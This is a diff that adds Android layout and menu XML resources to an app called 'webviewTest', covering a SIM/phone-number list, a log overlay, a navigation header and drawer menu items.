+        android:lines="1"
+        android:paddingLeft="16dp"
+        android:paddingRight="16dp"
+        android:textAppearance="@style/TextAppearance.AppCompat.Subhead"
+        android:textSize="14sp"
+        android:textStyle="bold"
+        android:textColor="@color/black"
+        app:layout_constraintEnd_toStartOf="@+id/iv_delete"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintStart_toStartOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent"
+        android:text="SIM-1  987654321" />
+
+    <ImageView
+        android:id="@+id/iv_delete"
+        android:layout_width="@dimen/dimensImageSize"
+        android:layout_height="@dimen/dimensImageSize"
+        android:background="?android:attr/selectableItemBackground"
+        android:padding="@dimen/dimensImagePadding"
+        android:src="@drawable/ic_delete_black"
+        app:tint="@color/black"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintEnd_toEndOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 82 - 0
webviewTest/app/src/main/res/layout/layout_phone_item2.xml

@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:card_view="http://schemas.android.com/apk/res-auto"
+    android:id="@+id/info_container"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:gravity="center"
+    android:orientation="horizontal">
+
+    <TextView
+        android:id="@+id/text1"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+
+        android:layout_marginStart="15dp"
+        android:gravity="center_vertical"
+        android:lines="1"
+        android:text="simslot"
+        android:textAppearance="@style/TextAppearance.AppCompat.Subhead"
+        android:textColor="@color/black"
+        android:textSize="14sp"
+        android:textStyle="bold"
+        app:layout_constraintEnd_toStartOf="@+id/text3"
+        app:layout_constraintHorizontal_bias="0.5"
+        app:layout_constraintStart_toEndOf="@+id/text2"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+    <TextView
+        android:id="@+id/text2"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+        android:layout_marginStart="15dp"
+        android:gravity="center_vertical"
+        android:lines="1"
+        android:text="subid"
+        android:textAppearance="@style/TextAppearance.AppCompat.Subhead"
+        android:textColor="@color/black"
+        android:textSize="14sp"
+        android:textStyle="bold"
+        app:layout_constraintEnd_toStartOf="@+id/text1"
+
+        app:layout_constraintHorizontal_bias="0.5"
+        app:layout_constraintHorizontal_chainStyle="packed"
+        app:layout_constraintStart_toStartOf="parent"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+    <TextView
+        android:id="@+id/text3"
+        android:layout_width="0dp"
+        android:layout_height="match_parent"
+        android:layout_marginStart="15dp"
+        android:gravity="center_vertical"
+        android:lines="1"
+        android:hint="@string/set_the_number"
+        android:textAppearance="@style/TextAppearance.AppCompat.Subhead"
+        android:textColor="@color/black"
+        android:textSize="14sp"
+        android:textStyle="bold"
+        app:layout_constraintEnd_toStartOf="@+id/iv_delete"
+        app:layout_constraintHorizontal_bias="0.5"
+        app:layout_constraintStart_toEndOf="@+id/text1"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+    <ImageView
+        android:id="@+id/iv_delete"
+        android:layout_width="@dimen/dimensImageSize"
+        android:layout_height="@dimen/dimensImageSize"
+        android:background="?android:attr/selectableItemBackground"
+        android:padding="@dimen/dimensImagePadding"
+        android:src="@drawable/ic_edit_black"
+        app:tint="@color/black"
+        card_view:layout_constraintBottom_toBottomOf="parent"
+        card_view:layout_constraintEnd_toEndOf="parent"
+        card_view:layout_constraintTop_toTopOf="parent" />
+
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 68 - 0
webviewTest/app/src/main/res/layout/layout_phone_list.xml

@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:id="@+id/group"
+    android:layout_width="400dp"
+    android:layout_height="400dp"
+    android:layout_gravity="center"
+    android:background="@color/white">
+
+    <EditText
+        android:id="@+id/phone"
+        android:layout_width="0dp"
+        android:layout_height="44dp"
+        android:layout_marginStart="10dp"
+        android:layout_marginTop="20dp"
+        android:layout_marginEnd="10dp"
+        android:hint="@string/phone"
+        android:inputType="phone"
+        android:textColor="#000000"
+        android:textSize="16sp"
+        app:layout_constraintEnd_toStartOf="@+id/submitBt"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="parent" />
+
+
+    <TextView
+        android:id="@+id/submitBt"
+        style="@style/style_primary"
+        android:layout_width="70dp"
+        android:layout_height="44dp"
+        android:layout_marginEnd="10dp"
+        android:gravity="center"
+        android:text="@string/add"
+        android:textSize="14sp"
+        app:layout_constraintBottom_toBottomOf="@+id/phone"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintTop_toTopOf="@+id/phone" />
+
+    <androidx.recyclerview.widget.RecyclerView
+        android:id="@+id/rv"
+        android:layout_width="0dp"
+        android:layout_height="0dp"
+        android:layout_marginTop="20dp"
+        android:layout_marginBottom="10dp"
+        android:nestedScrollingEnabled="false"
+        app:layout_constraintBottom_toTopOf="@+id/closeBt"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toBottomOf="@+id/submitBt"
+        tools:itemCount="51"
+        tools:listitem="@layout/layout_phone_item" />
+
+    <TextView
+        android:id="@+id/closeBt"
+        style="@style/style_primary"
+        android:layout_width="match_parent"
+        android:layout_height="44dp"
+        android:layout_marginStart="10dp"
+        android:layout_marginEnd="10dp"
+        android:layout_marginBottom="10dp"
+        android:gravity="center"
+        android:text="@string/close"
+        android:textSize="14sp"
+        app:layout_constraintBottom_toBottomOf="parent"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent" />
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 15 - 0
webviewTest/app/src/main/res/layout/log_layout.xml

@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:background="#80000000"
+    android:orientation="vertical"
+    android:padding="10dp">
+
+    <TextView
+        android:id="@+id/log_text"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:textColor="#ffffff" />
+
+</LinearLayout>

+ 45 - 0
webviewTest/app/src/main/res/layout/nav_header_main.xml

@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="@dimen/nav_header_height"
+    android:background="@drawable/bg_nav_title"
+    android:gravity="center"
+    android:orientation="vertical"
+    android:paddingLeft="@dimen/activity_horizontal_margin"
+    android:paddingTop="@dimen/activity_vertical_margin"
+    android:paddingRight="@dimen/activity_horizontal_margin"
+    android:paddingBottom="@dimen/activity_vertical_margin"
+    android:theme="@style/ThemeOverlay.AppCompat.Dark">
+
+    <TextView
+        android:id="@+id/textView"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/app_name"
+        android:textColor="@color/white"
+        android:textSize="30sp"
+        android:textStyle="bold"
+        app:layout_constraintBottom_toTopOf="@+id/versionCodeTv"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintHorizontal_bias="0.5"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="parent"
+        app:layout_constraintVertical_chainStyle="packed" />
+
+    <TextView
+        android:id="@+id/versionCodeTv"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/dp_10"
+        android:textColor="@color/white"
+        android:textSize="13sp"
+        app:layout_constraintBottom_toBottomOf="parent"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintHorizontal_bias="0.5"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toBottomOf="@+id/textView"
+        tools:text="@string/app_name" />
+
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 19 - 0
webviewTest/app/src/main/res/menu/activity_add_text.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<menu xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto">
+
+
+    <item
+        android:id="@+id/action_template"
+        android:icon="@drawable/ic_menu_file_white"
+        android:orderInCategory="100"
+        android:title="@string/action_template"
+        android:visible="false"
+        app:showAsAction="ifRoom" />
+    <item
+        android:id="@+id/action_save"
+        android:icon="@drawable/ic_save_white"
+        android:orderInCategory="100"
+        android:title="@string/action_save"
+        app:showAsAction="ifRoom" />
+</menu>

+ 38 - 0
webviewTest/app/src/main/res/menu/activity_main_drawer.xml

@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<menu xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    tools:showIn="navigation_view">
+
+
+    <item
+        android:id="@+id/logcat_push"
+        android:title="@string/title_logcat_push" />
+    <item
+        android:id="@+id/about"
+        android:title="@string/frpc_version" />
+    <item
+        android:id="@+id/change"
+        android:title="@string/change" />
+    <item
+        android:id="@+id/start_video"
+        android:title="@string/start_video" />
+    <item
+        android:id="@+id/stop_video"
+        android:title="@string/stop_video" />
+    <item
+        android:id="@+id/screen"
+        android:title="@string/screen" />
+    <item
+        android:id="@+id/restart"
+        android:title="@string/restart" />
+
+    <!--    <group android:checkableBehavior="single">-->
+    <!--        <item-->
+    <!--            android:id="@+id/switch_button_example"-->
+    <!--            android:title="Switch Button"-->
+    <!--            app:actionViewClass="android.widget.Switch"-->
+    <!--            app:showAsAction="always" />-->
+    <!--    </group>-->
+
+
+</menu>

+ 65 - 0
webviewTest/app/src/main/res/menu/main.xml

@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<menu xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto">
+
+    <item
+        android:id="@+id/action_add"
+        android:icon="@drawable/ic_add_white"
+        android:orderInCategory="100"
+        android:title="@string/action_add"
+        app:showAsAction="ifRoom">
+        <menu>
+            <item
+                android:id="@+id/action_new_text"
+                android:orderInCategory="100"
+                android:title="@string/action_add_text"
+                app:showAsAction="never" />
+            <item
+                android:id="@+id/action_accessibility"
+                android:orderInCategory="100"
+                android:title="@string/action_add_acc"
+                app:showAsAction="never" />
+            <item
+                android:id="@+id/action_accessibility2"
+                android:orderInCategory="100"
+                android:title="@string/action_add_acc2"
+                app:showAsAction="never" />
+            <item
+                android:id="@+id/action_update_log_config"
+                android:orderInCategory="100"
+                android:title="@string/update_log_config"
+                app:showAsAction="never" />
+            <item
+                android:id="@+id/action_add_file"
+                android:orderInCategory="100"
+                android:title="@string/action_add_file"
+                android:visible="false"
+                app:showAsAction="never" />
+            <item
+                android:id="@+id/action_add_url"
+                android:orderInCategory="100"
+                android:title="@string/action_add_url"
+                android:visible="false"
+                app:showAsAction="never" />
+            <item
+                android:id="@+id/action_add_scan"
+                android:orderInCategory="100"
+                android:title="@string/action_add_scan"
+                android:visible="false"
+                app:showAsAction="never" />
+            <item
+                android:id="@+id/action_id_index"
+                android:orderInCategory="100"
+                android:title="@string/subscriptionid_simslotindex"
+                app:showAsAction="never" />
+
+        </menu>
+    </item>
+
+    <item
+        android:id="@+id/action_settings"
+        android:orderInCategory="100"
+        android:title="@string/action_settings"
+        android:visible="false"
+        app:showAsAction="never" />
+</menu>

Một số tệp đã không được hiển thị bởi vì quá nhiều tập tin thay đổi trong này khác